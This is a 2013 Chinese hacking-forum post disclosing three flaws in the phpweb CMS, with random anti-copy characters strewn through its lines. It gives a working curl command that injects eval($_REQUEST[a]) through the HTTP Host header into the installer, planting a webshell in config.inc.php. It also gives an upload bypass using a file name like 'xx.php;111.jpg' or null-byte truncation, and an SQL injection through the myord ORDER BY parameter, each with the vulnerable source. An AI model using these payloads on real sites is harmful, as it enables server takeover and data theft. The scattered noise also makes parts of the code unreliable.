找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2651|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:1 h4 J3 e5 j  M, C# r9 \: o
! T( G4 D4 i  W4 v
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
+ I5 d+ {( w, m) B# X . g; X( F4 z5 w2 N
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件! M9 ~9 \, }8 W$ I# h$ r
鸡肋2: 有一定安全常识的站长都会删掉 install 目录4 c/ L) e* ?, e  I! M, R1 D, j

+ ]8 S! y* `; N虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; u6 P. ^5 i, @$ t) k ' J& c6 i0 n' k; Q7 b6 N
分析:
4 O3 z6 U0 T  C3 ?: x0 V
5 i! L  z4 a/ J 5 z1 g; E' @, F% }' {, d
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
& o2 L) h" I+ }- l, P: L9 b8 w
1 M5 {: u0 @& ?8 I7 h! A  Z  w5 v) M                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
" y* O! q6 z: F# W3 B- M$ d                                            $filestr=str_replace(" ","",$filestr);, R/ V+ N# R9 B* Q0 e
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);2 ]4 ?2 x8 X8 n5 S9 N: s
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
6 ~5 X7 v! z* x) Q8 W3 R                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
# J% O4 v8 Z1 a5 u0 b* `                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);# W$ Y5 q, P7 y5 f
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
; ~& [) R' }& P% j0 m: u                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
9 C$ f" J, w) s* r+ O, X                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);) j1 `2 n) `$ H/ F) Z2 b3 X! D: _* {

0 S6 t, I2 K3 i0 K1 A9 ^: R                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
. q: Z4 k" D+ B. T: K$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
0 U2 x8 O: d4 i9 w- w
* H6 K' h8 p* T  x7 \) @& @, }poc:
0 {- a5 h9 n  C7 W 7 d  l( K+ ^7 @! Z4 ~* x
?: }7 ^9 k% m" X8 Z5 W3 Y
1
9 j6 P5 w4 O( Z( g  x: `curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"9 @. x& ~" z; c/ n* t
shell地址: /config.inc.php
+ S- m; d/ g8 Z  ?' s1 g5 \跟之前的 phpcms一样 需要远程数据库! d- _# R  I  X3 [9 P
3 i6 f8 D; \9 F8 W7 L) O
——————————————————–
+ L+ E+ O" |4 z% U! Z$ o6 d上传漏洞(需要进后台):5 I" _/ D3 b: O
漏洞文件: /kedit/upload_cgi/upload.php' }  b" x3 t6 ?+ ?6 {# a
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
9 I6 s( o- U: e! d2 m
4 u+ G; x6 I/ \6 o4 n( Y8 c; n $ Z5 Y3 L* I1 q) S# ^
<?php* ?" V. \5 P+ r! _
    define("ROOTPATH", "../../");
5 K  @/ d* A( q$ s$ O, ?6 |" U    include(ROOTPATH."includes/admin.inc.php");4 t) d+ k! R: A' O
    NeedAuth(0);
1 ?  C. x$ b% ?9 s! g" \" C% W 0 {$ U3 }7 n  \# W8 W
    $dt=date("Ymd",time());
; O2 H$ F8 h" C. q8 V. q% G4 k( V    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){) C/ E& x% ~. Z8 b) z% v
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);" M. X1 M" X/ O" _; _
    }: Z( f2 R$ K, F$ U0 V6 i6 C2 w9 C
+ w, B9 |& F( o1 _# D7 F. F
    //文件保存目录路径2 n& o& N- Z7 j
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';6 @' w) X  N* ~6 Q* G
    echo $save_path;+ p* ?0 E# l8 y: n3 Z0 j% M2 K; ?0 z
    //文件保存目录URL
7 z. ]; R+ V8 N3 F  ?! Z    $save_url = '../../'.$_POST['attachPath'].$dt.'/';, x' e# R8 T) `- b3 R0 l6 ]

& x# i9 O( S9 g( q- X    //定义允许上传的文件扩展名
6 E/ |6 P- L, I$ n$ F    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
/ G. A. Z$ ^, M4 k. M
' R/ P# W2 H) e7 ~5 F$ d) ~    //最大文件大小' [5 [' Q( D9 S% p, f( ~" w
    $max_size = 1000000;% L. \: K: ]$ b
! i- D& _. e0 q/ D# |& \
    //更改目录权限$ f) @2 ]8 G' h
    @mkdir($save_path, 0777);8 n' a+ i3 @! W. P# l# h

. `9 z7 K  f+ p& e    //文件的全部路径
* M% |1 J" Y( c8 w7 \    $file_path = $save_path.$_POST['fileName'];   //保存文件名
; s( c8 }+ e6 W8 r+ m4 B
2 \* a; \: |( u    //文件URL
7 n5 F, T# ~- T    $file_url = $save_url.$_POST['fileName'];
" E* w' H; o" y, k+ B( s//有上传文件时" G: h) \+ N' k+ V6 u* {; {
    if (empty($_FILES) === false) {, M* T6 Y' L7 A& N0 a* b4 L! Y
7 _: d) A) \6 y2 k$ @
            //原文件名
$ ]8 q; v( v) W: P4 E0 d1 w* c            $file_name = $_FILES['fileData']['name'];
) P3 D' ^* r& L& M) \            //服务器上临时文件名
+ N) Q# ~+ a% ?9 ]( D            $tmp_name = $_FILES['fileData']['tmp_name'];
6 v" y5 S8 ]9 g- T# ]( C            //文件大小6 I$ \2 k/ m* ]; I
            $file_size = $_FILES['fileData']['size'];' r- Y, d" |/ z6 \5 J3 Z
            //检查目录! F4 d: P; V& d. F
            if (@is_dir($save_path) === false) {  G" z7 X! S# ~. Z3 i  i
                    alert("上传目录不存在。");
% \/ D' U7 c' ~% f. K            }3 m* q; C- N- |5 q1 m
            //检查目录写权限
+ J- v: |8 j# {/ p, |) c5 @# u            if (@is_writable($save_path) === false) {  R, s; w- K; m/ e: @
                    alert("上传目录没有写权限。");+ j" M4 V: G8 w1 b/ O
            }
. D$ c6 o  r! j" k( ?* i7 l8 C            //检查是否已上传
6 B! |0 ~) H6 L3 s$ b6 Q! \2 f            if (@is_uploaded_file($tmp_name) === false) {: ]& {# P) A6 }/ C& T
                    alert("临时文件可能不是上传文件。");
0 g6 `; ?6 \7 j) g; n            }
; X$ {. ^) L1 x' _5 ~! z7 p' I            //检查文件大小" p5 E3 t6 m/ k9 `
            if ($file_size > $max_size) {0 y6 b5 ~# ]+ C% P4 P& P1 H
                    alert("上传文件大小超过限制。");. \" |' e* k. c, ^" i  h
            }
0 s$ e# X' c! u/ U2 ~: D            //获得文件扩展名1 ?0 L4 N7 \6 d) F* P$ C% [4 V
            $temp_arr = explode(".", $_POST['fileName']);( p6 ~: g3 M2 v  k) f6 y
            $file_ext = array_pop($temp_arr);
$ x; R. c% ^7 I9 b3 y            $file_ext = trim($file_ext);
& ^! Y0 K5 @+ N            $file_ext = strtolower($file_ext);
- [/ E4 q& _7 ^1 Q/ Y" A3 l( f: f 6 E/ k4 m1 |, p3 w7 ]
            //检查扩展名   
1 V% R* ?, t* M2 f            if (in_array($file_ext, $ext_arr) === false) {     1 e# x; j& [+ D. \2 G8 z9 M! a
                    alert("上传文件扩展名是不允许的扩展名。");
9 [0 O1 h! H+ z3 j( F, H9 P% l5 Z            }: W! s: r9 @! f& k! r0 w# [
  [" R/ H) ]$ R5 V% I' i: O5 Y  H
            //移动文件   ' A/ u) i1 y! m
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
) O* g; `1 b# d* p. q, R  J            if (move_uploaded_file($tmp_name, $file_path) === false) {
+ }8 M! ]2 `) {6 k. `) z. W% c                    alert("上传文件失败。");1 |2 ]: i% f# f2 g
            }
; u! g2 M  P6 C( V
$ Y: A  T* v) P9 f$ `1 b            @chmod($file_path,0666);
; E4 s; j, ~1 S/ c+ i6 f! E: o
$ I( L4 {5 a: F; K" z  g$ H$ r    ?>- w6 v! @) l$ C6 O% P
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
: ]; g: G6 c% D, c) Y9 e 8 p0 Q; o+ l) @) F0 q6 U3 }7 ]
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过* j* T! H' Z, I

0 z  \4 l0 O' {$ i——————————————————1 R6 _5 M! k) E" O
注入漏洞:
- w" T9 U  }+ x漏洞文件:search/module/search.php8 R7 S, M8 I: g- N, A! m+ F3 Z
/search/index.php?key=1&myord=1 [sqlinjection]
7 w* A' z9 o8 Q8 q; F! X7 y
7 X+ U: m/ n# U# _. j( c
. [1 q6 n+ R( e" O" g- g7 \<?php
, ~$ g9 I( _8 q3 y: N   //       ... 省略 n 行...: O. v$ I4 D8 }4 j" s
   //第18行:: k. Y: j9 {7 B# s9 p
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
* q8 n" m: Q& o& q  R+ b' V           $page=htmlspecialchars($_GET["page"]);
2 P* r4 h7 b' `7 J           $myord=htmlspecialchars($_GET["myord"]);# N9 N& x" h4 t/ I* H0 b* R
$ l9 o1 y* E  `  r& _
   //       ... 省略 n 行...7 H* R, q) a+ _# N! o
   $key,$myord 两个参数带入查询
+ Y7 s! h, X- Q" }) W. A; U6 [' Z   //第47行 $key:: h  c. s+ o- f7 g
) O2 w2 O& l: G8 o
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
# l& V3 t7 F3 M # f' ]! A( U  a, H
   //第197行 $myord& h$ S; H* ~( F& O; \1 V3 F
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入' v1 o! s/ K  E2 I7 U" z+ v

" X9 I" W3 j/ F1 b# E4 L   ?>
" q/ M! J" Q4 ^* U* J8 l" g% H, ?+ J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表